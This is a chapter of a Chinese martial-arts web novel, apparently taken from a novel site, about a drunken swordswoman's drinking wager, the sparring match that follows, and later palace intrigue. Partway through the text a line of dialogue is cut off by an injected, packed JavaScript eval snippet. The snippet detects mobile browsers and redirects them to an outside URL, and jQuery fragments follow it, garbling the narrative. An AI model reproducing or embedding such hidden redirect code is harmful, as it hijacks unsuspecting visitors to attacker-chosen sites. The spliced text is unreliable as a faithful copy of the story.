“你就是浮生楼的少楼主?”
杏雨春光中,贺景窈被一道女声惊醒,怀中捧着的酒瓶也随着她的动作跌落在地,碎成碎片。
好在酒已经被她喝完了。
酒意还未散去,贺景窈斜倚在老树枝杈上,声音还带着几分醉意:
“又是来打架的?”
树下白衣女子却拾起一片碎片闻了闻:“姑苏的醉阳春,闻起来确实清香醉人。”
“喝起来更是清冽甘醇呢,只可惜我已经喝完了,没法请你喝了。”
“所以慢走不送。”
贺景窈眼睛都没再睁开一下,调整了一下姿势就又要睡过去。
白衣女子见状高声喊:“你刚才不是问我是不是来打架的吗?你怎么不下来和我打?别睡呀!”
贺景窈又被这喊声叫了起来,这一次她看清楚了树下的姑娘,白衣金條,芙蓉笑面,是个十分清丽的女子。
但只一眼,贺景窈就又斜躺在树上。
“你又不想打架,买酒找别人。”
声音越来越小,眼看又要睡过去,却像是被什么击中一般,一个没躺稳,直接翻身摔了下去。
一抬头,只见对面白衣女子笑着把弄着手里的石子,刚才那一击显然也是她扔的。
“清醒一点没有,我还能帮你清醒清醒的。”
贺景窈也没恼,许是对面的姑娘始终长的确实好看吧,她对好看的人一向有很高的包容。
所以她只是摇摇晃晃站起身,摇了摇脑袋道:“唔......醒了,所以你要打架吗?”
白衣女子略微惊讶,显然没想到这位少楼主脾气不错,这都不生气,她遇到的每一个有名气的人都有傲气,也自然容易惹怒。
可这位少楼主却十分随意,一副你要打架就打,不打架就要继续睡的样子。
“我不跟你打架,我武功上并非优胜,连我那便宜弟弟都打不过,才不和你打。”
“哦。”
眼看贺景窈又要飞身上树,却被白衣女子一把拉住。
“你先别飞,虽然我不和你打架,但我和你比别的,有筹码的。”
“什么?”
然后贺景窈就看她像变戏法似的变出来一坛酒,贺景窈凑近闻闻就感受到了酒香扑鼻。
“这叫玉浮梁,可是从京都带过来的,京都的好酒少楼主没喝过吧,不想试试看?”
确实是好酒,贺景窈动心了。
“你要和我比什么?”
白衣女子笑的更灿烂了。
“比喝酒。”
“姑苏的醉阳春我还没喝过,不如少楼主请我一次?”
“那算了,我没钱。”
醉阳春贵着呢,她全部零钱全搭在上面了,这不刚喝个精光。
“诶你别走呀。”白衣女子又拉住了掉头就走的贺景窈:“你请客,我掏钱。”
“不管输赢,酒钱我都掏了,如何?”
贺景窈狐疑的看向她,这有这么好的事?
贺景窈道:“酒钱你掏,我赢了你就将这玉浮梁送我,那要是我输了呢?”
白衣女子道:“你输了,就只需要答应我一个小小的请求。”
“和人打一架。”
贺景窈:“谁啊?”
白衣女子:“我弟弟。”
贺景窈:“???你是替你弟弟来约架的?”
白衣女子:“咳咳,我这个弟弟年岁小,不知天高地厚,偏又是个武痴,喜欢到处打架。”
“偏他武功高,跑得快,我又教训不到,只好请少楼主出出手,替我教训教训他。”
“尤其要冲脸打,千万不必手下留情,疼到位才能长到记性,千万千万不要手下留情。”
贺景窈:“......”
白衣女子:“我已经写信给他,将少楼主高超剑术好好转达给了他,相信不日他就会来挑战。”
贺景窈:“你怎么就能确定我一定打得过你弟弟?”
白衣女子:“少楼主可是天下第一剑啊,怎会打不过一个毛头小子。”
“另外等少楼主胜出之后,我另备了几大坛玉浮梁给少楼主庆祝。”
贺景窈:“好的没问题,只是不知道您想要令弟脸上挂几分彩呢?”
“面目全非款,还是人首猪头款呢?”
白衣女子微笑:“少楼主自己把握就好,我相信少楼主。”
贺景窈:“对了,还不知道姑娘芳名?”
“在下点苍门曲清欢。”
“原来是少门主啊,失敬失敬,那我们何时开始比试呢?”
“就现在吧。”
不出意外,已经喝过一轮的贺景窈输给了酒量不错曲清欢。
一月后,点苍门小公子曲言初前来挑战,两人大战一日,最后曲言初战败。
“姐,你要的酒,这玉浮梁你不都喝腻了吗?怎么还叫我特意送过来?”
“当然是给人赔礼,不管怎么说父亲都与浮生楼主相交,你千里迢迢找人打架,万一坏了两家情分怎么办。”
“还是姐你想的周到。”
曲清欢接过酒坛,仔细看了看自家弟弟的脸,看来是熊猫现世款。
曲言初被她盯得不好意思,没忍住侧了侧脸道:“也不知道她贺景窈堂堂浮生楼少楼主,怎生如此卑鄙无耻,打架净盯着脸打。”
曲清欢:“这就是你把人家女孩打的如此狠的缘故?”
要知道虽然贺景窈胜了她这个便宜弟弟,但却伤的却比他重。
曲言初简直冤枉的紧:“要不是她一个劲的盯着我脸打,到后来连防守都顾不上,那几招也不会落到她身上。”
“也不知道我的脸怎么招惹她了,净往上招呼,定是发现我的美貌太过惊世骇俗,生了嫉妒之心,真是个卑鄙无耻的女人!”
曲清欢用看傻子的眼神撸了撸他的脑袋,慈爱道:“乖,这几天别出门了,好好养伤,有什么需要跟姐说。”
曲言初狠狠点头:“嗯嗯!君子报仇,十年不晚!我回去就日夜苦修,不信还打不过一个黄毛丫头!”
然后他就斗志高昂的去练剑了,曲清欢看着自家便宜弟弟的背影,不禁心中感叹:
这便宜弟弟被揍一顿是越来越傻了。
——
烛心爆裂的声音响在屋内,曲清欢从梦中惊醒。
怎么突然梦到了这些?
酒坛随着她起身的动作滑落,却被她稳稳接住,坛中还有些许残酒,正是上好的玉浮梁。
以往早已喝腻的酒,如今却又捡起,日日喝也再未觉得腻过。
也许她喝的不是酒,可喝的什么她自己却都不清楚,只是一日不饮,一日不醉就觉得格外空虚。
窗外面黑影闪动。
“主子,一切已经准备就绪了,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758972|143192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
等主子发令。”
“嗯,纸条呢?”
“已经送到了李予微手中。”
“她什么反应?”
“将纸条烧了,没有任何表情。”
“最近阿言在那里如何?”
“小公子过得很好,只是时常跟着李予微出门,不知做了什么,小公子武功高,李予微身边还有那两个身手不错的侍卫,不敢太过靠近,怕被发觉。”
“知道了,下去吧。”
黑影悄无声息的消失,再次融入夜色中。
曲清欢站起身,走到窗前,打开窗,外面空无一物。
她不知道从哪里又掏出一坛玉浮梁,倚坐在床边,一口一口抿着,抬头望天。
天上一轮明月高悬,在明月一旁,三条可怖裂痕交错一旁,一点点的向外吞噬裂开。
——
夜,摄政王府书房
林跃青敲了敲门,听到里面传来“请进”,这才推门而入。
“殿下,您找我?”
李予微这才从公文中抬头,先是仔细看了看他。
少年身形高挑,一身墨色劲装,面容清秀俊朗,眼神坚定明亮,在烛光下更衬托的神采熠熠。
李予微上下打量,然后打趣道:“上次见你才刚到我腰部,如今你已经长的这么高了,只是怎么不叫姐姐了?”
林跃青脸一下就红了,许久低声道:“阿......阿窈姐姐。”
李予微笑了:“怎么还是一让你叫姐姐就脸红啊。”
“再次见面这么长时间,一直没来得及找你单独说说话,这些年怎么样?虽然这些年斯南一直都有传来你的消息,但还是想着单独问问你。”
“过得如何?和你师父处的如何?”
林跃青抓了抓后脑勺,有些不好意思开口:“我过得挺好的,江湖很有意思,我师傅也挺好的,这些年他带着我去了很多地方,我也见识到了挺多东西,就是有时候挺不靠谱的。”
“但总体来说都挺好的。”
李予微笑道:“不是有时候,是大多数时候都挺不靠谱吧,毕竟你师父这个人总是想一出是一出的,我看斯南送过来你们的经历,反正都挺精彩的。”
林跃青更不好意思:“让阿窈姐见笑了,不过师父他关键时候还是挺可靠的,这些年也教会了我不少东西。”
李予微:“难得见你夸他,上次见你们一起时你还追着他跑呢,他听到这话怕是高兴的不得了吧。”
“毕竟他也很在意你这个徒弟,你们之间也总进行了亲切友好交流,这些年都建立起深厚感情了吧。”
林跃青脸上刚褪下去的热度又泛了起来:“阿窈姐快别拿我打趣了!”
李予微见小少年整张脸都跟熟透的虾子似的,也不再继续打趣了,怕再说下去该急了。
“好了好了,那我不说了,这次叫你过来还有别的事和你说。”
“你应该也了解到,狄戎常年骚扰我大兴边境,所以我军打算今年称春季狄戎部落势弱反攻,最好一举清剿干净,打的他们不敢再犯边半分。”
林跃青:“这事我也听说了,摄政王府这段时间一直都在忙的就是这事,大军已经整顿好准备出发了不是吗,听说三日后晚上就是送别宴。”
李予微:“没错,那你怎么想的呢?”
“什么?”
“林跃青,你想随军出征吗?”